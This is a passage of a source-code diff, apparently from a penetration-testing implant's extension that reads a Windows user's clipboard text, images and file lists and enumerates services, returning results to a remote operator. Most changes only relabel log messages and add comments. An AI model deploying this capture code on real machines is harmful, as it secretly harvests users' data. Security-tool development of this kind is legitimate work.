(POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL) - BREAK_ON_ERROR("Unable to locate OpenClipboard in user32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll"); - dprintf("Searching for CloseClipboard"); + dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard"); if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL) - BREAK_ON_ERROR("Unable to locate CloseClipboard in user32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll"); - dprintf("Searching for GetClipboardData"); + dprintf("[EXTAPI CLIPBOARD] Searching for GetClipboardData"); if ((pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress(hUser32, "GetClipboardData")) == NULL) - BREAK_ON_ERROR("Unable to locate GetClipboardData in user32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetClipboardData in user32.dll"); - dprintf("Searching for EnumClipboardFormats"); + dprintf("[EXTAPI CLIPBOARD] Searching for EnumClipboardFormats"); if ((pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress(hUser32, "EnumClipboardFormats")) == NULL) - BREAK_ON_ERROR("Unable to locate EnumClipboardFormats in user32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EnumClipboardFormats in user32.dll"); // Try to get a lock on the clipboard if (!pOpenClipboard(NULL)) { dwResult = GetLastError(); - BREAK_WITH_ERROR("Unable to open the clipboard", dwResult); + BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult); } - dprintf("Clipboard locked, attempting to get data..."); + dprintf("[EXTAPI CLIPBOARD] Clipboard locked, attempting to get data..."); while (uFormat = pEnumClipboardFormats(uFormat)) { @@ -150,7 +150,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) if ((hClipboardData = pGetClipboardData(CF_TEXT)) != NULL && (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL) { - dprintf("Clipboard text captured: %s", lpClipString); + dprintf("[EXTAPI CLIPBOARD] Clipboard text captured: %s", lpClipString); packet_add_tlv_string(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString); pGlobalUnlock(hClipboardData); @@ -158,13 +158,14 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) } else if (uFormat == CF_DIB) { // an image of some kind is on the clipboard - dprintf("Grabbing the clipboard bitmap data"); + dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard bitmap data"); if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL && (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL) { - if (convert_to_jpg(lpBI, (LPVOID)(lpBI + 1), 80, &image) == ERROR_SUCCESS) { + // TODO: add the ability to encode with multiple encoders and return the smallest image. + if (convert_to_jpg(lpBI, (LPVOID)(lpBI + 1), 100, &image) == ERROR_SUCCESS) { - dprintf("Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize); + dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize); packet_add_tlv_raw(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_JPG, image.pImageBuffer, image.dwImageBufferSize); // Just leaving this in for debugging purposes later on @@ -180,40 +181,40 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) } else if (uFormat == CF_HDROP) { // there's one or more files on the clipboard - dprintf("Files have been located on the clipboard"); + dprintf("[EXTAPI CLIPBOARD] Files have been located on the clipboard"); do { - dprintf("Loading shell32.dll"); + dprintf("[EXTAPI CLIPBOARD] Loading shell32.dll"); if ((hShell32 = LoadLibraryA("shell32.dll")) == NULL) - BREAK_ON_ERROR("Unable to load shell32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load shell32.dll"); - dprintf("Searching for CreateFileA"); + dprintf("[EXTAPI CLIPBOARD] Searching for CreateFileA"); if ((pCreateFileA = (PCREATEFILEA)GetProcAddress(hKernel32, "CreateFileA")) == NULL) - BREAK_ON_ERROR("Unable to locate CreateFileA in kernel32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CreateFileA in kernel32.dll"); - dprintf("Searching for CloseHandle"); + dprintf("[EXTAPI CLIPBOARD] Searching for CloseHandle"); if ((pCloseHandle = (PCLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle")) == NULL) - BREAK_ON_ERROR("Unable to locate CloseHandle in kernel32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseHandle in kernel32.dll"); - dprintf("Searching for GetFileSizeEx"); + dprintf("[EXTAPI CLIPBOARD] Searching for GetFileSizeEx"); if ((pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress(hKernel32, "GetFileSizeEx")) == NULL) - BREAK_ON_ERROR("Unable to locate GetFileSizeEx in kernel32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetFileSizeEx in kernel32.dll"); - dprintf("Searching for DragQueryFileA"); + dprintf("[EXTAPI CLIPBOARD] Searching for DragQueryFileA"); if ((pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress(hShell32, "DragQueryFileA")) == NULL) - BREAK_ON_ERROR("Unable to locate CloseClipboard in shell32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in shell32.dll"); - dprintf("Grabbing the clipboard file drop data"); + dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard file drop data"); if ((hClipboardData = pGetClipboardData(CF_HDROP)) != NULL && (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL) { uFileCount = pDragQueryFileA(hFileDrop, (UINT)-1, NULL, 0); - dprintf("Parsing %u file(s) on the clipboard.", uFileCount); + dprintf("[EXTAPI CLIPBOARD] Parsing %u file(s) on the clipboard.", uFileCount); for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex) { if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName))) { - dprintf("Clipboard file entry: %s", lpFileName); + dprintf("[EXTAPI CLIPBOARD] Clipboard file entry: %s", lpFileName); memset(&entries, 0, sizeof(entries)); memset(&largeInt, 0, sizeof(largeInt)); @@ -305,43 +306,43 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet) do { if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)) == NULL) - BREAK_WITH_ERROR("No string data specified", ERROR_INVALID_PARAMETER); + BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] No string data specified", ERROR_INVALID_PARAMETER); - dprintf("Loading user32.dll"); + dprintf("[EXTAPI CLIPBOARD] Loading user32.dll"); if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) - BREAK_ON_ERROR("Unable to load user32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll"); - dprintf("Loading kernel32.dll"); + dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll"); if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL) - BREAK_ON_ERROR("Unable to load kernel32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll"); - dprintf("Searching for GlobalAlloc"); + dprintf("[EXTAPI CLIPBOARD] Searching for GlobalAlloc"); if ((pGlobalAlloc = (PGLOBALALLOC)GetProcAddress(hKernel32, "GlobalAlloc")) == NULL) - BREAK_ON_ERROR("Unable to locate GlobalAlloc in kernel32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalAlloc in kernel32.dll"); - dprintf("Searching for GlobalLock"); + dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock"); if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL) - BREAK_ON_ERROR("Unable to locate GlobalLock in kernel32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll"); - dprintf("Searching for GlobalUnlock"); + dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock"); if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL) - BREAK_ON_ERROR("Unable to locate GlobalUnlock in kernel32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll"); - dprintf("Searching for OpenClipboard"); + dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard"); if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL) - BREAK_ON_ERROR("Unable to locate OpenClipboard in user32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll"); - dprintf("Searching for CloseClipboard"); + dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard"); if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL) - BREAK_ON_ERROR("Unable to locate CloseClipboard in user32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll"); - dprintf("Searching for EmptyClipboard"); + dprintf("[EXTAPI CLIPBOARD] Searching for EmptyClipboard"); if ((pEmptyClipboard = (PEMPTYCLIPBOARD)GetProcAddress(hUser32, "EmptyClipboard")) == NULL) - BREAK_ON_ERROR("Unable to locate EmptyClipboard in user32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EmptyClipboard in user32.dll"); - dprintf("Searching for SetClipboardData"); + dprintf("[EXTAPI CLIPBOARD] Searching for SetClipboardData"); if ((pSetClipboardData = (PSETCLIPBOARDDATA)GetProcAddress(hUser32, "SetClipboardData")) == NULL) - BREAK_ON_ERROR("Unable to locate SetClipboardData in user32.dll"); + BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate SetClipboardData in user32.dll"); cbStringBytes = (SIZE_T)strlen(lpClipString) + 1; @@ -351,7 +352,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet) if ((hClipboardData = pGlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes)) == NULL) { dwResult = GetLastError(); pCloseClipboard(); - BREAK_WITH_ERROR("Failed to allocate clipboard memory", dwResult); + BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Failed to allocate clipboard memory", dwResult); } lpLockedData = (PCHAR)pGlobalLock(hClipboardData); @@ -363,7 +364,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet) // Try to get a lock on the clipboard if (!pOpenClipboard(NULL)) { dwResult = GetLastError(); - BREAK_WITH_ERROR("Unable to open the clipboard", dwResult); + BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult); } // Clear the clipboard data @@ -371,7 +372,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet) if (!pSetClipboardData(CF_TEXT, hClipboardData)) { dwResult = GetLastError(); - dprintf("Failed to set the clipboad data: %u", dwResult); + dprintf("[EXTAPI CLIPBOARD] Failed to set the clipboad data: %u", dwResult); } else { dwResult = ERROR_SUCCESS; @@ -384,7 +385,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet) // If something went wrong and we have clipboard data, then we need to // free it up because the clipboard can't do it for us. if (dwResult != ERROR_SUCCESS && hClipboardData != NULL) { - dprintf("Searching for GlobalFree"); + dprintf("[EXTAPI CLIPBOARD] Searching for GlobalFree"); if ((pGlobalFree = (PGLOBALFREE)GetProcAddress(hKernel32, "GlobalFree")) != NULL) pGlobalFree(hClipboardData); } diff --git a/source/extensions/extapi/clipboard_image.cpp b/source/extensions/extapi/clipboard_image.cpp index e8bef04..428baab 100644 --- a/source/extensions/extapi/clipboard_image.cpp +++ b/source/extensions/extapi/clipboard_image.cpp @@ -33,16 +33,16 @@ DWORD get_encoder_clsid(WCHAR *mimeType, CLSID * pClsId) UINT numEncoders; UINT size; if (GetImageEncodersSize(&numEncoders, &size) != Ok) - BREAK_WITH_ERROR("Unable to get encoders array size.", ERROR_FUNCTION_FAILED); + BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Unable to get encoders array size.", ERROR_FUNCTION_FAILED); if (size == 0) - BREAK_WITH_ERROR("No encoders found.", ERROR_FUNCTION_FAILED); + BREAK_WITH_ERROR("[EXTAPI CLIPIMG] No encoders found.", ERROR_FUNCTION_FAILED); if ((pImageCodecInfo = (ImageCodecInfo*)malloc(size)) == NULL) - BREAK_WITH_ERROR("Couldn't allocate memory for ImageCodeInfo", ERROR_OUTOFMEMORY); + BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Couldn't allocate memory for ImageCodeInfo", ERROR_OUTOFMEMORY); if (GetImageEncoders(numEncoders, size, pImageCodecInfo) != Ok) - BREAK_WITH_ERROR("Unable to get encoders.", ERROR_FUNCTION_FAILED); + BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Unable to get encoders.", ERROR_FUNCTION_FAILED); for (UINT i = 0; i < numEncoders; ++i) { if (wcscmp(pImageCodecInfo[i].MimeType, mimeType) == 0) { @@ -73,6 +73,7 @@ extern "C" { * @param pImage Pointer to the image structure that will receive the image data * @retval ERROR_SUCCESS The Class ID was extracted successfully. * @retval Otherwise The relevant error code. + * @remark This functionality uses GDI+ to convert the image to a JPG. */ DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQuality, ConvertedImage* pImage) { @@ -92,15 +93,15 @@ DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQualit do { if (GdiplusStartup(&gdiPlusToken, &gdiStartupInput, NULL) != Ok) - BREAK_WITH_ERROR("Unable to initialize GdiPlus", ERROR_FUNCTION_FAILED); + BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Unable to initialize GdiPlus", ERROR_FUNCTION_FAILED); CLSID jpegClsid; - dprintf("Attempting to get the jpg class id"); + dprintf("[EXTAPI CLIPIMG] Attempting to get the jpg class id"); if (get_encoder_clsid(L"image/jpeg", &jpegClsid) != ERROR_SUCCESS) - BREAK_WITH_ERROR("Unable to find an appropriate image encoder", ERROR_FUNCTION_FAILED); + BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Unable to find an appropriate image encoder", ERROR_FUNCTION_FAILED); if ((pBitmap = new Bitmap(lpBI, lpDIB)) == NULL) - BREAK_WITH_ERROR("Failed to create bitmap instance", ERROR_FUNCTION_FAILED); + BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed to create bitmap instance", ERROR_FUNCTION_FAILED); EncoderParameters encParams; encParams.Count = 1; @@ -110,36 +111,36 @@ DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQualit encParams.Parameter[0].Value = &ulQuality; if (CreateStreamOnHGlobal(NULL, TRUE, &pStream) != S_OK) - BREAK_WITH_ERROR("Failed to create stream", ERROR_FUNCTION_FAILED); + BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed to create stream", ERROR_FUNCTION_FAILED); if (pBitmap->Save(pStream, &jpegClsid, &encParams) != Ok) - BREAK_WITH_ERROR("Failed to save image to stream", ERROR_FUNCTION_FAILED); + BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed to save image to stream", ERROR_FUNCTION_FAILED); STATSTG stat; if (pStream->Stat(&stat, STATFLAG_NONAME) != S_OK) - BREAK_WITH_ERROR("Failed to get image stat", ERROR_FUNCTION_FAILED); + BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed to get image stat", ERROR_FUNCTION_FAILED); // if the image requires the quadpart, then we're in trouble anyway! pImage->dwImageBufferSize = stat.cbSize.LowPart; if ((pImage->pImageBuffer = (LPBYTE)malloc(pImage->dwImageBufferSize)) == NULL) - BREAK_WITH_ERROR("Failed to allocate memory for the JPEG", ERROR_OUTOFMEMORY); + BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed to allocate memory for the JPEG", ERROR_OUTOFMEMORY); ULARGE_INTEGER pos; LARGE_INTEGER zero; zero.QuadPart = 0; pos.QuadPart = 0; if (pStream->Seek(zero, STREAM_SEEK_SET, &pos) != S_OK) - BREAK_WITH_ERROR("Failed set stream position", ERROR_FUNCTION_FAILED); + BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed set stream position", ERROR_FUNCTION_FAILED); ULONG bytesRead = 0; if ((hRes = pStream->Read(pImage->pImageBuffer, pImage->dwImageBufferSize, &bytesRead) != S_OK)) { - dprintf("Failed to read image data from stream: %u %x", hRes, hRes); + dprintf("[EXTAPI CLIPIMG] Failed to read image data from stream: %u %x", hRes, hRes); dwResult = ERROR_FUNCTION_FAILED; break; } if (bytesRead != pImage->dwImageBufferSize) - BREAK_WITH_ERROR("Failed to read image data from stream", ERROR_FUNCTION_FAILED); + BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed to read image data from stream", ERROR_FUNCTION_FAILED); } while (0); if (dwResult != ERROR_SUCCESS && pImage->pImageBuffer != NULL) { diff --git a/source/extensions/extapi/clipboard_image.h b/source/extensions/extapi/clipboard_image.h index 6d9b74d..256cf8b 100644 --- a/source/extensions/extapi/clipboard_image.h +++ b/source/extensions/extapi/clipboard_image.h @@ -14,6 +14,9 @@ typedef struct _ConvertedImage * \c free to release this memory. */ PBYTE pImageBuffer; + /*! + * @brief The size of the \c pImageBuffer buffer. + */ DWORD dwImageBufferSize; } ConvertedImage; diff --git a/source/extensions/extapi/extapi.c b/source/extensions/extapi/extapi.c index 7f61702..715bd31 100644 --- a/source/extensions/extapi/extapi.c +++ b/source/extensions/extapi/extapi.c @@ -17,6 +17,7 @@ // this sets the delay load hook function, see DelayLoadMetSrv.h EnableDelayLoadMetSrv(); +/*! @brief List of commands that the extended API extension providers. */ Command customCommands[] = { COMMAND_REQ("extapi_window_enum", request_window_enum), @@ -29,6 +30,9 @@ Command customCommands[] = /*! * @brief Initialize the server extension + * @details Registers all the extended API commands. + * @param remote Pointer to the \c Remote initialising the extension. + * @returns Always returns \c ERROR_SUCCESS. */ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) { @@ -43,7 +47,10 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) } /*! - * @brief Deinitialize the server extension + * @brief Deinitialize the server extension. + * @details Unregisters all the extended API commands. + * @param remote Pointer to the \c Remote destroying the extension. + * @returns Always returns \c ERROR_SUCCESS. */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { diff --git a/source/extensions/extapi/service.c b/source/extensions/extapi/service.c index ba4edc1..77ad7b0 100644 --- a/source/extensions/extapi/service.c +++ b/source/extensions/extapi/service.c @@ -8,8 +8,11 @@ #ifdef _WIN32 #include +/*! @brief Typedef for the OpenSCManagerA function. */ typedef SC_HANDLE(WINAPI * POPENSCMANAGERA)(LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess); +/*! @brief Typedef for the CloseServiceHandle function. */ typedef BOOL(WINAPI * PCLOSESERVICEHANDLE)(SC_HANDLE hSCObject); +/*! @brief Typedef for the EnumServicesStatusExA function. */ typedef BOOL(WINAPI * PENUMSERVICESSTATUSEXA)( SC_HANDLE hSCManager, SC_ENUM_TYPE InfoLevel, @@ -22,7 +25,9 @@ typedef BOOL(WINAPI * PENUMSERVICESSTATUSEXA)( LPDWORD lpResumeHandle, LPCSTR pszGroupName ); +/*! @brief Typedef for the OpenServiceA function. */ typedef SC_HANDLE(WINAPI * POPENSERVICEA)(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAcces); +/*! @brief Typedef for the QueryServiceObjectSecurity function. */ typedef BOOL(WINAPI * PQUERYSERVICEOBJECTSECURITY)( SC_HANDLE hService, SECURITY_INFORMATION dwSecurityInformation, @@ -30,12 +35,14 @@ typedef BOOL(WINAPI * PQUERYSERVICEOBJECTSECURITY)( DWORD cbBufSize, LPDWORD pcbBytesNeeded ); +/*! @brief Typedef for the QueryServiceConfigA function. */ typedef BOOL(WINAPI * PQUERYSERVICECONFIGA)( SC_HANDLE hService, LPQUERY_SERVICE_CONFIGA lpServiceConfig, DWORD dbBufSize, LPDWORD pcbBytesNeeded ); +/*! @brief Typedef for the ConvertSecurityDescriptorToStringSecurityDescriptorA function. */ typedef BOOL(WINAPI * PCSDTSSDA)( PSECURITY_DESCRIPTOR SecurityDescriptor, DWORD RequestedStringSDRevision, @@ -52,6 +59,12 @@ DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse DWORD enumerate_services(Packet *response); +/*! + * @brief Handle the request for service enumeration. + * @param remote Pointer to the \c Remote making the request. + * @param packet Pointer to the request \c Packet. + * @returns Indication of sucess or failure. + */ DWORD request_service_enum(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; @@ -60,23 +73,33 @@ DWORD request_service_enum(Remote *remote, Packet *packet) do { if (!response) { - dprintf("Unable to create response packet"); + dprintf("[EXTAPI SERVICE] Unable to create response packet"); dwResult = ERROR_OUTOFMEMORY; break; } - dprintf("Beginning service enumeration"); + dprintf("[EXTAPI SERVICE] Beginning service enumeration"); dwResult = enumerate_services(response); } while (0); - dprintf("Transmitting response back to caller."); + dprintf("[EXTAPI SERVICE] Transmitting response back to caller."); if (response) packet_transmit_response(dwResult, remote, response); return dwResult; } +/*! + * @brief Handle the request for a service query. + * @param remote Pointer to the \c Remote making the request. + * @param packet Pointer to the request \c Packet. + * @remark The \c packet must contain the name of the service to query. + * @returns Indication of sucess or failure. + * @retval ERROR_SUCCESS Query succeeded. + * @retval ERROR_OUTOFMEMORY Memory allocation failed. + * @retval ERROR_BAD_ARGUMENTS Service name was missing from \c packet. + */ DWORD request_service_query(Remote *remote, Packet *packet) { LPSTR lpServiceName = NULL; @@ -86,27 +109,34 @@ DWORD request_service_query(Remote *remote, Packet *packet) do { if (!response) { - dprintf("Unable to create response packet"); + dprintf("[EXTAPI SERVICE] Unable to create response packet"); dwResult = ERROR_OUTOFMEMORY; break; } lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME); if (!lpServiceName) - BREAK_WITH_ERROR("Missing service name parameter", ERROR_BAD_ARGUMENTS); + BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_BAD_ARGUMENTS); - dprintf("Beginning service enumeration"); + dprintf("[EXTAPI SERVICE] Beginning service enumeration"); dwResult = query_service(lpServiceName, response); } while (0); - dprintf("Transmitting response back to caller."); + dprintf("[EXTAPI SERVICE] Transmitting response back to caller."); if (response) packet_transmit_response(dwResult, remote, response); return dwResult; } +/*! + * @brief Perform the request for a service query. + * @param cpServiceName Name of the serivce to perform the query on. + * @param pRacket Pointer to the response \c Packet. + * @returns Indication of sucess or failure. + * @retval ERROR_SUCCESS Query succeeded. + */ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse) { #ifdef _WIN32 @@ -122,30 +152,30 @@ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse) do { - dprintf("Loading advapi32.dll"); + dprintf("[EXTAPI SERVICE] Loading advapi32.dll"); if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) - BREAK_ON_ERROR("Unable to load advapi32.dll"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll"); - dprintf("Searching for OpenSCManagerA"); + dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA"); if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) - BREAK_ON_ERROR("Unable to locate OpenSCManagerA in advapi32.dll"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll"); - dprintf("Searching for CloseServiceHandle"); + dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle"); if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) - dprintf("Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway."); + dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway."); - dprintf("Searching for OpenServiceA"); + dprintf("[EXTAPI SERVICE] Searching for OpenServiceA"); if ((pOpenServiceA = (POPENSERVICEA)GetProcAddress(hAdvapi32, "OpenServiceA")) == NULL) - BREAK_ON_ERROR("Unable to locate OpenServiceA in advapi32.dll."); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenServiceA in advapi32.dll."); - dprintf("Opening the Service Control manager"); + dprintf("[EXTAPI SERVICE] Opening the Service Control manager"); if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) - BREAK_ON_ERROR("Unable to open the service control manager"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to open the service control manager"); - dprintf("Opening the Service: %s", cpServiceName); + dprintf("[EXTAPI SERVICE] Opening the Service: %s", cpServiceName); if ((scService = pOpenServiceA(scManager, cpServiceName, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) { dwResult = GetLastError(); - dprintf("Unable to open the service: %s (%u)", cpServiceName, dwResult); + dprintf("[EXTAPI SERVICE] Unable to open the service: %s (%u)", cpServiceName, dwResult); break; } @@ -169,6 +199,12 @@ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse) #endif } +/*! + * @brief Perform the service enumeration. + * @param pRacket Pointer to the response \c Packet. + * @returns Indication of sucess or failure. + * @retval ERROR_SUCCESS Query succeeded. + */ DWORD enumerate_services(Packet *pResponse) { #ifdef _WIN32 @@ -189,26 +225,26 @@ DWORD enumerate_services(Packet *pResponse) do { - dprintf("Loading advapi32.dll"); + dprintf("[EXTAPI SERVICE] Loading advapi32.dll"); if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) - BREAK_ON_ERROR("Unable to load advapi32.dll"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll"); - dprintf("Searching for OpenSCManagerA"); + dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA"); if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) - BREAK_ON_ERROR("Unable to locate OpenSCManagerA in advapi32.dll"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll"); - dprintf("Searching for CloseServiceHandle"); + dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle"); if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) - dprintf("Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway."); + dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway."); - dprintf("Searching for EnumServicesStatusExA"); + dprintf("[EXTAPI SERVICE] Searching for EnumServicesStatusExA"); if ((pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress(hAdvapi32, "EnumServicesStatusExA")) == NULL) - BREAK_ON_ERROR("Unable to locate EnumServicesStatusExA in advapi32.dll."); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate EnumServicesStatusExA in advapi32.dll."); // TODO: add support for other machine names so that this instance can query other machines on the network. - dprintf("Opening the Service Control manager"); + dprintf("[EXTAPI SERVICE] Opening the Service Control manager"); if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) - BREAK_ON_ERROR("Unable to open the service control manager"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to open the service control manager"); bResult = pEnumServicesStatusExA(scManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL); @@ -218,16 +254,16 @@ DWORD enumerate_services(Packet *pResponse) pSsInfo = (ENUM_SERVICE_STATUS_PROCESSA*)malloc(dwBytesNeeded); if (!pSsInfo) - BREAK_ON_ERROR("Out of memory"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Out of memory"); bResult = pEnumServicesStatusExA(scManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_STATE_ALL, (LPBYTE)pSsInfo, dwBytesNeeded, &dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL); } if (!bResult) - BREAK_ON_ERROR("Failed to enumerate services"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Failed to enumerate services"); - dprintf("%s with %u entries returned", (bResult ? "succeeded" : "failed"), dwServicesReturned); + dprintf("[EXTAPI SERVICE] %s with %u entries returned", (bResult ? "succeeded" : "failed"), dwServicesReturned); for (dwServiceIndex = 0; dwServiceIndex < dwServicesReturned; ++dwServiceIndex) { @@ -254,40 +290,58 @@ DWORD enumerate_services(Packet *pResponse) } #ifdef _WIN32 +/*! + * @brief Add an enumeration result to the given response packet. + * @param pRacket Pointer to the response \c Packet. + * @param cpName Name of the service. + * @param cpDisplayName Display name of the service. + * @param dwProcessId ID of the service process. + * @param dwStatus Status of the service (running, paused, etc). + * @param bInteractive Indicates if the service can interact with the desktop. + */ VOID add_enumerated_service(Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive) { Tlv entries[5] = { 0 }; - dprintf("Adding Name: 